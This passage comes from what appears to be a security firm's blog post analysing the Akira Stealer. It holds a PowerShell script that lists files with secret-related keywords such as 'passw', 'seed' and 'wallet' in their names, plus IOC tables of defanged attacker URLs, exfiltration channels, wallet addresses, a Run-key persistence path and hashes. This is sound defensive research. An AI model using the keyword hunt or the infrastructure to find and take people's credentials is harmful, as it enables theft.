glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[551,11517,11518,11523,11528,11533,11537,11542,11547,11552,11557,11562,11567,11571,11576,11581,11586,11590,11595,11600,11604,11609,11614,11619,11624,11629,11633,11638,11643,11648,11652,11656,11661,11665,11670,11674,11679,11684,11689,11694,11699,11704,11709,11713,11718,11723,11728,11733,11738,11743,11748,11753,11758,11762,11767,11772,11776,11781,11786,11791,11796,11801,11806,11811,11816,11820,11824,11828,11833,11837,11842,11847,11852,11856,11861,11866,11871,11876,11881,11886,11891,11897,11902,11908,11913,11919,11925,11930,11935,11941],{"__ignoreMap":594},[1681,11519,11520],{"class":1683,"line":1684},[1681,11521,11522],{},"\u003C#\n",[1681,11524,11525],{"class":1683,"line":2061},[1681,11526,11527],{},".SYNOPSIS\n",[1681,11529,11530],{"class":1683,"line":2067},[1681,11531,11532],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1681,11534,11535],{"class":1683,"line":2073},[1681,11536,3853],{"emptyLinePlaceholder":325},[1681,11538,11539],{"class":1683,"line":2394},[1681,11540,11541],{},".DESCRIPTION\n",[1681,11543,11544],{"class":1683,"line":2400},[1681,11545,11546],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1681,11548,11549],{"class":1683,"line":3059},[1681,11550,11551],{},"      • Contain one of the defined keywords in their name\n",[1681,11553,11554],{"class":1683,"line":3856},[1681,11555,11556],{},"      • Have an allowed file extension\n",[1681,11558,11559],{"class":1683,"line":3862},[1681,11560,11561],{},"      • Are not larger than 2 MB\n",[1681,11563,11564],{"class":1683,"line":4109},[1681,11565,11566],{},"    Presents the results in a colored, tabular overview.\n",[1681,11568,11569],{"class":1683,"line":5033},[1681,11570,3853],{"emptyLinePlaceholder":325},[1681,11572,11573],{"class":1683,"line":5039},[1681,11574,11575],{},".NOTES\n",[1681,11577,11578],{"class":1683,"line":5045},[1681,11579,11580],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1681,11582,11583],{"class":1683,"line":5051},[1681,11584,11585],{},"#>\n",[1681,11587,11588],{"class":1683,"line":5057},[1681,11589,3853],{"emptyLinePlaceholder":325},[1681,11591,11592],{"class":1683,"line":5063},[1681,11593,11594],{},"# -------------------------------------\n",[1681,11596,11597],{"class":1683,"line":5069},[1681,11598,11599],{},"# 1. Configuration\n",[1681,11601,11602],{"class":1683,"line":5075},[1681,11603,11594],{},[1681,11605,11606],{"class":1683,"line":5081},[1681,11607,11608],{},"$scanFolders = @(\n",[1681,11610,11611],{"class":1683,"line":5087},[1681,11612,11613],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1681,11615,11616],{"class":1683,"line":5093},[1681,11617,11618],{},"    \"$env:USERPROFILE\\Documents\",\n",[1681,11620,11621],{"class":1683,"line":5099},[1681,11622,11623],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1681,11625,11626],{"class":1683,"line":5105},[1681,11627,11628],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1681,11630,11631],{"class":1683,"line":5111},[1681,11632,5252],{},[1681,11634,11635],{"class":1683,"line":5117},[1681,11636,11637],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1681,11639,11640],{"class":1683,"line":5784},[1681,11641,11642],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1681,11644,11645],{"class":1683,"line":5789},[1681,11646,11647],{},"$maxSize    = 2MB\n",[1681,11649,11650],{"class":1683,"line":5794},[1681,11651,3853],{"emptyLinePlaceholder":325},[1681,11653,11654],{"class":1683,"line":5799},[1681,11655,11594],{},[1681,11657,11658],{"class":1683,"line":5805},[1681,11659,11660],{},"# 2. Scan and Collect Matches\n",[1681,11662,11663],{"class":1683,"line":5810},[1681,11664,11594],{},[1681,11666,11667],{"class":1683,"line":5815},[1681,11668,11669],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1681,11671,11672],{"class":1683,"line":5820},[1681,11673,3853],{"emptyLinePlaceholder":325},[1681,11675,11676],{"class":1683,"line":5825},[1681,11677,11678],{},"foreach ($folder in $scanFolders) {\n",[1681,11680,11681],{"class":1683,"line":5830},[1681,11682,11683],{},"    if (-not (Test-Path $folder)) { continue }\n",[1681,11685,11686],{"class":1683,"line":5835},[1681,11687,11688],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1681,11690,11691],{"class":1683,"line":5841},[1681,11692,11693],{},"        # 2.1 Extension filter\n",[1681,11695,11696],{"class":1683,"line":5847},[1681,11697,11698],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1681,11700,11701],{"class":1683,"line":5853},[1681,11702,11703],{},"        # 2.2 Size filter\n",[1681,11705,11706],{"class":1683,"line":5858},[1681,11707,11708],{},"        if ($_.Length -gt $maxSize) { return }\n",[1681,11710,11711],{"class":1683,"line":5863},[1681,11712,3853],{"emptyLinePlaceholder":325},[1681,11714,11715],{"class":1683,"line":5868},[1681,11716,11717],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1681,11719,11720],{"class":1683,"line":5873},[1681,11721,11722],{},"        $hit = $null\n",[1681,11724,11725],{"class":1683,"line":5879},[1681,11726,11727],{},"        foreach ($kw in $keywords) {\n",[1681,11729,11730],{"class":1683,"line":5884},[1681,11731,11732],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1681,11734,11735],{"class":1683,"line":5889},[1681,11736,11737],{},"                $hit = $kw\n",[1681,11739,11740],{"class":1683,"line":5894},[1681,11741,11742],{},"                break\n",[1681,11744,11745],{"class":1683,"line":5899},[1681,11746,11747],{},"            }\n",[1681,11749,11750],{"class":1683,"line":5904},[1681,11751,11752],{},"        }\n",[1681,11754,11755],{"class":1683,"line":5909},[1681,11756,11757],{},"        if (-not $hit) { return }\n",[1681,11759,11760],{"class":1683,"line":5915},[1681,11761,3853],{"emptyLinePlaceholder":325},[1681,11763,11764],{"class":1683,"line":5921},[1681,11765,11766],{},"        # 2.4 Build relative path\n",[1681,11768,11769],{"class":1683,"line":5927},[1681,11770,11771],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1681,11773,11774],{"class":1683,"line":5933},[1681,11775,3853],{"emptyLinePlaceholder":325},[1681,11777,11778],{"class":1683,"line":5938},[1681,11779,11780],{},"        # 2.5 Collect\n",[1681,11782,11783],{"class":1683,"line":5943},[1681,11784,11785],{},"        $matches.Add([PSCustomObject]@{\n",[1681,11787,11788],{"class":1683,"line":5949},[1681,11789,11790],{},"            FileName    = $_.Name\n",[1681,11792,11793],{"class":1683,"line":5955},[1681,11794,11795],{},"            Location    = $rel\n",[1681,11797,11798],{"class":1683,"line":5961},[1681,11799,11800],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1681,11802,11803],{"class":1683,"line":5967},[1681,11804,11805],{},"            Keyword     = $hit\n",[1681,11807,11808],{"class":1683,"line":5972},[1681,11809,11810],{},"        })\n",[1681,11812,11813],{"class":1683,"line":5977},[1681,11814,11815],{},"    }\n",[1681,11817,11818],{"class":1683,"line":5983},[1681,11819,2403],{},[1681,11821,11822],{"class":1683,"line":5988},[1681,11823,3853],{"emptyLinePlaceholder":325},[1681,11825,11826],{"class":1683,"line":5993},[1681,11827,11594],{},[1681,11829,11830],{"class":1683,"line":5999},[1681,11831,11832],{},"# 3. Display Results\n",[1681,11834,11835],{"class":1683,"line":6005},[1681,11836,11594],{},[1681,11838,11839],{"class":1683,"line":6011},[1681,11840,11841],{},"clear\n",[1681,11843,11844],{"class":1683,"line":6016},[1681,11845,11846],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1681,11848,11849],{"class":1683,"line":6022},[1681,11850,11851],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1681,11853,11854],{"class":1683,"line":6028},[1681,11855,3853],{"emptyLinePlaceholder":325},[1681,11857,11858],{"class":1683,"line":6033},[1681,11859,11860],{},"if ($matches.Count -gt 0) {\n",[1681,11862,11863],{"class":1683,"line":6039},[1681,11864,11865],{},"    $matches |\n",[1681,11867,11868],{"class":1683,"line":6045},[1681,11869,11870],{},"        Sort-Object Location, FileName |\n",[1681,11872,11873],{"class":1683,"line":6050},[1681,11874,11875],{},"        Format-Table -AutoSize `\n",[1681,11877,11878],{"class":1683,"line":6055},[1681,11879,11880],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1681,11882,11883],{"class":1683,"line":6060},[1681,11884,11885],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1681,11887,11888],{"class":1683,"line":6066},[1681,11889,11890],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1681,11892,11894],{"class":1683,"line":11893},79,[1681,11895,11896],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1681,11898,11900],{"class":1683,"line":11899},80,[1681,11901,3853],{"emptyLinePlaceholder":325},[1681,11903,11905],{"class":1683,"line":11904},81,[1681,11906,11907],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1681,11909,11911],{"class":1683,"line":11910},82,[1681,11912,2403],{},[1681,11914,11916],{"class":1683,"line":11915},83,[1681,11917,11918],{},"else {\n",[1681,11920,11922],{"class":1683,"line":11921},84,[1681,11923,11924],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1681,11926,11928],{"class":1683,"line":11927},85,[1681,11929,2403],{},[1681,11931,11933],{"class":1683,"line":11932},86,[1681,11934,3853],{"emptyLinePlaceholder":325},[1681,11936,11938],{"class":1683,"line":11937},87,[1681,11939,11940],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1681,11942,11944],{"class":1683,"line":11943},88,[1681,11945,11946],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[827,11948],{"className":11949},[830,831],[528,11951,11953],{"id":11952},"_12-voorbij-respons-hoe-glueckkanja-csoc-incidenten-omzet-in-inzichten","12. Voorbij respons: hoe glueckkanja CSOC incidenten omzet in inzichten",[533,11955,535],{},[533,11957,11958,11959],{},"De meeste security operations centers stoppen bij containment.\n",[540,11960,11961],{},"Wij niet.",[533,11963,11964],{},"Bij glueckkanja CSOC zien we incident response niet als eindstreep, maar als startpunt.",[533,11966,11967],{},"Waar anderen de overwinning uitroepen en verdergaan, graven wij dieper. Voor ons is elk incident een kans om te leren, ons aan te passen en sterker te worden. Onze onvermoeibare nieuwsgierigheid, gevoed door jaren forensische expertise en reverse-engineeringcapaciteit, zorgt ervoor dat we niet alleen verdedigen, maar anticiperen.",[533,11969,11970,11971,11974],{},"Vanuit die filosofie hebben we de ",[540,11972,11973],{},"Akira Compromise Reporter"," gebouwd.",[533,11976,11977],{},"Deze intern ontwikkelde forensische tool gaat veel verder dan basisdetectie: met onze diepgaande kennis van de Akira Stealer geeft ze volledige helderheid over welke data is gecompromitteerd. Binnen enkele minuten levert ze een precies, actiegericht beeld van de volledige impact van het incident:",[604,11979,11980,11983,11986],{},[607,11981,11982],{},"Exact welke credentials, tokens en browsersessies zijn gestolen.",[607,11984,11985],{},"Precies welke cryptowallets, messaging-accounts en bestanden zijn blootgesteld.",[607,11987,11988],{},"Een helder, gestructureerd en gedetailleerd forensisch rapport, dat onzekerheid omzet in onmiddellijk, onderbouwd handelen.",[533,11990,11991],{},[749,11992],{"alt":11993,"src":11994},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[533,11996,11997],{},"Want bij glueckkanja meten we succes niet alleen aan geblokkeerde dreigingen, maar aan geboden helderheid. Cybersecurity die goed wordt gedaan, gaat niet over simpelweg reageren op incidenten, maar over begrijpen, aanpassen en altijd een stap voorblijven.",[533,11999,12000],{},[540,12001,12002],{},"Dat is het verschil van glueckkanja CSOC.",[528,12004,12006],{"id":12005},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[533,12008,535],{},[533,12010,12011],{},"Hieronder staat een uitgebreide, letterlijke verzameling IOC's die tijdens ons interne reverse-engineeringproces bij glueckkanja CSOC direct uit de malwarecode zijn gehaald. Er zijn geen aannames of externe threat intelligence-bronnen gebruikt, alle indicatoren zijn bevestigde bevindingen. Alle URL's zijn opzettelijk geobfusceerd om onbedoelde clicks te voorkomen.",[533,12013,12014],{},[540,12015,12016],{},"Afkortingen:",[604,12018,12019,12025],{},[607,12020,12021,12024],{},[540,12022,12023],{},"TG:"," Telegram-rapportagekanaal",[607,12026,12027,12030],{},[540,12028,12029],{},"Alt:"," Alternatief (fallback) endpoint",[715,12032,12034],{"id":12033},"_1-domeinen-urls","1. Domeinen & URL's",[533,12036,721],{},[1392,12038,4687,12040],{"className":12039,"style":4686},[11113],[1408,12041,12042,4687,12054,4687,12067,4687,12080,4687,12093,4687,12106,4687,12119,4687,12132,4687,12148,4687,12164,4687,12177,4687,12190,4687,12203,4687,12216,4687,12229,4687,12242,4687,12255,4687,12268,4687,12281,4687,12294,4687,12308,4687,12321],{},[1398,12043,4692,12044,4692,12048,4692,12052,4687],{},[1401,12045,12047],{"style":12046},"text-align: left; width: 18%;","Categorie",[1401,12049,12051],{"style":12050},"text-align: left; width: 52%;","Geobfusceerde URL",[1401,12053,4863],{"style":4856},[1398,12055,4692,12056,4692,12059,4692,12064,4687],{},[1413,12057,12058],{},"Primaire injectie",[1413,12060,12061],{},[551,12062,12063],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1413,12065,12066],{},"Initieel webhook-endpoint van de aanvaller",[1398,12068,4692,12069,4692,12072,4692,12077,4687],{"style":4713},[1413,12070,12071],{},"Fallback-injectie",[1413,12073,12074],{},[551,12075,12076],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1413,12078,12079],{},"Alternatief injector-endpoint",[1398,12081,4692,12082,4692,12085,4692,12090,4687],{},[1413,12083,12084],{},"Foutrapportage (TG)",[1413,12086,12087],{},[551,12088,12089],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1413,12091,12092],{},"URL voor Telegram-foutmeldingen en logs",[1398,12094,4692,12095,4692,12098,4692,12103,4687],{"style":4713},[1413,12096,12097],{},"Foutrapportage (alt)",[1413,12099,12100],{},[551,12101,12102],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1413,12104,12105],{},"Alternatieve URL voor foutmeldingen en logs",[1398,12107,4692,12108,4692,12111,4692,12116,4687],{},[1413,12109,12110],{},"Vanity-bot (TG)",[1413,12112,12113],{},[551,12114,12115],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1413,12117,12118],{},"Endpoint voor meldingen over vanity-adressen",[1398,12120,4692,12121,4692,12124,4692,12129,4687],{"style":4713},[1413,12122,12123],{},"Vanity-bot (alt)",[1413,12125,12126],{},[551,12127,12128],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1413,12130,12131],{},"Alternatief endpoint voor vanity-meldingen",[1398,12133,4692,12134,4692,12137,4692,12142,4687],{},[1413,12135,12136],{},"Exodus-injectie",[1413,12138,12139],{},[551,12140,12141],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1413,12143,12144,12145,12147],{},"Electron-module van de ",[551,12146,4591],{},"-app",[1398,12149,4692,12150,4692,12153,4692,12158,4687],{"style":4713},[1413,12151,12152],{},"Atomic-injectie",[1413,12154,12155],{},[551,12156,12157],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1413,12159,12160,12161],{},"Electron-module ",[551,12162,12163],{},"AtomicWallet",[1398,12165,4692,12166,4692,12169,4692,12174,4687],{},[1413,12167,12168],{},"Updater-download",[1413,12170,12171],{},[551,12172,12173],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1413,12175,12176],{},"Executable van de persistence-dropper",[1398,12178,4692,12179,4692,12182,4692,12187,4687],{"style":4713},[1413,12180,12181],{},"Gofile API-lijst",[1413,12183,12184],{},[551,12185,12186],{},"https[:]//api.gofile[.]io/servers",[1413,12188,12189],{},"Haalt de beste GoFile-uploadserver op",[1398,12191,4692,12192,4692,12195,4692,12200,4687],{},[1413,12193,12194],{},"Discord-tokencheck",[1413,12196,12197],{},[551,12198,12199],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1413,12201,12202],{},"Valideert gestolen Discord-token",[1398,12204,4692,12205,4692,12208,4692,12213,4687],{"style":4713},[1413,12206,12207],{},"Discord-facturatiegegevens",[1413,12209,12210],{},[551,12211,12212],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1413,12214,12215],{},"Haalt betaalmethoden op",[1398,12217,4692,12218,4692,12221,4692,12226,4687],{},[1413,12219,12220],{},"Google OAuth-replay",[1413,12222,12223],{},[551,12224,12225],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1413,12227,12228],{},"Speelt gestolen Google-sessietokens opnieuw af",[1398,12230,4692,12231,4692,12234,4692,12239,4687],{"style":4713},[1413,12232,12233],{},"IP-check (hosting)",[1413,12235,12236],{},[551,12237,12238],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1413,12240,12241],{},"Detectie van hostingomgeving",[1398,12243,4692,12244,4692,12247,4692,12252,4687],{},[1413,12245,12246],{},"IP-lookup (geo)",[1413,12248,12249],{},[551,12250,12251],{},"http[:]//ip-api[.]com/json/{ip}",[1413,12253,12254],{},"Geolocatie op basis van IP",[1398,12256,4692,12257,4692,12260,4692,12265,4687],{"style":4713},[1413,12258,12259],{},"Ophalen publiek IP",[1413,12261,12262],{},[551,12263,12264],{},"https[:]//api[.]ipify[.]org",[1413,12266,12267],{},"Haalt het externe IP-adres op",[1398,12269,4692,12270,4692,12273,4692,12278,4687],{},[1413,12271,12272],{},"File.io-upload",[1413,12274,12275],{},[551,12276,12277],{},"https[:]//file[.]io/",[1413,12279,12280],{},"Secundair exfiltratiekanaal",[1398,12282,4692,12283,4692,12286,4692,12291,4687],{"style":4713},[1413,12284,12285],{},"Oshi.at-upload",[1413,12287,12288],{},[551,12289,12290],{},"http[:]//oshi[.]at/",[1413,12292,12293],{},"Tertiair exfiltratiekanaal",[1398,12295,4692,12296,4692,12299,4692,12305,4687],{},[1413,12297,12298],{},"JS-dropper primair",[1413,12300,12301],{},[693,12302,12304],{"href":12303,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1413,12306,12307],{},"Remote verwijzing naar de eigenlijke ZIP-URL",[1398,12309,4692,12310,4692,12313,4692,12318,4687],{"style":4713},[1413,12311,12312],{},"JS-dropper fallback 1",[1413,12314,12315],{},[693,12316,12317],{"href":3600,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1413,12319,12320],{},"Alternatieve payload-ZIP",[1398,12322,4692,12323,4692,12326,4692,12331,4687],{},[1413,12324,12325],{},"JS-dropper fallback 2",[1413,12327,12328],{},[693,12329,12330],{"href":3605,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1413,12332,12333],{},"Secundaire fallback-payload-ZIP",[827,12335],{"className":12336},[830,831],[715,12338,12340],{"id":12339},"_2-cryptovaluta-adressen","2. Cryptovaluta-adressen",[533,12342,721],{},[1392,12344,4687,12346],{"className":12345,"style":4686},[11113],[1408,12347,12348,4687,12356,4687,12366,4687,12376,4687,12386,4687,12395,4687,12405,4687,12415,4687,12425,4687,12435,4687,12445],{},[1398,12349,4692,12350,4692,12353,4687],{},[1401,12351,12352],{"style":11124},"Valuta",[1401,12354,12355],{"style":4856},"Adres",[1398,12357,4692,12358,4692,12361,4687],{},[1413,12359,12360],{},"BTC",[1413,12362,12363],{},[551,12364,12365],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1398,12367,4692,12368,4692,12371,4687],{"style":4713},[1413,12369,12370],{},"ETH",[1413,12372,12373],{},[551,12374,12375],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1398,12377,4692,12378,4692,12381,4687],{},[1413,12379,12380],{},"DOGE",[1413,12382,12383],{},[551,12384,12385],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1398,12387,4692,12388,4692,12391,4687],{"style":4713},[1413,12389,12390],{},"LTC",[1413,12392,12393],{},[551,12394,11155],{},[1398,12396,4692,12397,4692,12400,4687],{},[1413,12398,12399],{},"XMR",[1413,12401,12402],{},[551,12403,12404],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1398,12406,4692,12407,4692,12410,4687],{"style":4713},[1413,12408,12409],{},"BCH",[1413,12411,12412],{},[551,12413,12414],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1398,12416,4692,12417,4692,12420,4687],{},[1413,12418,12419],{},"DASH",[1413,12421,12422],{},[551,12423,12424],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1398,12426,4692,12427,4692,12430,4687],{"style":4713},[1413,12428,12429],{},"TRX",[1413,12431,12432],{},[551,12433,12434],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1398,12436,4692,12437,4692,12440,4687],{},[1413,12438,12439],{},"XRP",[1413,12441,12442],{},[551,12443,12444],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1398,12446,4692,12447,4692,12450,4687],{"style":4713},[1413,12448,12449],{},"XLM",[1413,12451,12452],{},[551,12453,12454],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[827,12456],{"className":12457},[830,831],[715,12459,12461],{"id":12460},"_3-registersleutels-paden","3. Registersleutels / paden",[533,12463,721],{},[1392,12465,4687,12467],{"className":12466,"style":4686},[11113],[1408,12468,12469,4687,12476,4687,12486,4687,12496,4687,12509],{},[1398,12470,4692,12471,4692,12474,4687],{},[1401,12472,1650],{"style":12473},"text-align: left; width: 60%;",[1401,12475,1185],{"style":4856},[1398,12477,4692,12478,4692,12483,4687],{},[1413,12479,12480],{},[551,12481,12482],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1413,12484,12485],{},"Controleert op de signature van een virtuele GPU-driver",[1398,12487,4692,12488,4692,12493,4687],{"style":4713},[1413,12489,12490],{},[551,12491,12492],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1413,12494,12495],{},"Controleert op de providernaam van een virtuele GPU",[1398,12497,4692,12498,4692,12506,4687],{},[1413,12499,12500,12503,12504,1113],{},[551,12501,12502],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (waarde ",[540,12505,1661],{},[1413,12507,12508],{},"Persistence via Run-key (Updater.exe)",[1398,12510,4692,12511,4692,12515,4687],{"style":4713},[1413,12512,12513],{},[551,12514,1669],{},[1413,12516,12517],{},"Persistence-executable",[827,12519],{"className":12520},[830,831],[715,12522,12524],{"id":12523},"_5-bestanden-hashes","5. Bestanden & hashes",[533,12526,721],{},[1392,12528,4687,12530],{"className":12529,"style":4686},[11113],[1408,12531,12532,4687,12543,4687,12555,4687,12567,4687,12580,4687,12592,4687,12604,4687,12616,4687,12628,4687,12641,4687,12653,4687,12666,4687,12678],{},[1398,12533,4692,12534,4692,12536,4692,12540,4687],{},[1401,12535,11457],{"style":12046},[1401,12537,12539],{"style":12538},"text-align: left; width: 62%;","SHA256",[1401,12541,12542],{"style":4856},"Grootte (bytes)",[1398,12544,4692,12545,4692,12547,4692,12552,4687],{},[1413,12546,1823],{},[1413,12548,12549],{},[551,12550,12551],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1413,12553,12554],{},"63936274",[1398,12556,4692,12557,4692,12559,4692,12564,4687],{"style":4713},[1413,12558,578],{},[1413,12560,12561],{},[551,12562,12563],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1413,12565,12566],{},"162036224",[1398,12568,4692,12569,4692,12572,4692,12577,4687],{},[1413,12570,12571],{},"jscrypter.js",[1413,12573,12574],{},[551,12575,12576],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1413,12578,12579],{},"1429",[1398,12581,4692,12582,4692,12584,4692,12589,4687],{"style":4713},[1413,12583,2814],{},[1413,12585,12586],{},[551,12587,12588],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1413,12590,12591],{},"30138",[1398,12593,4692,12594,4692,12596,4692,12601,4687],{},[1413,12595,2811],{},[1413,12597,12598],{},[551,12599,12600],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1413,12602,12603],{},"7155",[1398,12605,4692,12606,4692,12608,4692,12613,4687],{"style":4713},[1413,12607,2738],{},[1413,12609,12610],{},[551,12611,12612],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1413,12614,12615],{},"211",[1398,12617,4692,12618,4692,12620,4692,12625,4687],{},[1413,12619,582],{},[1413,12621,12622],{},[551,12623,12624],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1413,12626,12627],{},"205210",[1398,12629,4692,12630,4692,12633,4692,12638,4687],{"style":4713},[1413,12631,12632],{},"exodus.asar",[1413,12634,12635],{},[551,12636,12637],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1413,12639,12640],{},"132486332",[1398,12642,4692,12643,4692,12645,4692,12650,4687],{},[1413,12644,1882],{},[1413,12646,12647],{},[551,12648,12649],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1413,12651,12652],{},"28454",[1398,12654,4692,12655,4692,12658,4692,12663,4687],{"style":4713},[1413,12656,12657],{},"download.dat",[1413,12659,12660],{},[551,12661,12662],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1413,12664,12665],{},"21142",[1398,12667,4692,12668,4692,12670,4692,12675,4687],{},[1413,12669,2872],{},[1413,12671,12672],{},[551,12673,12674],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1413,12676,12677],{},"32375391",[1398,12679,4692,12680,4692,12682,4692,12687,4687],{"style":4713},[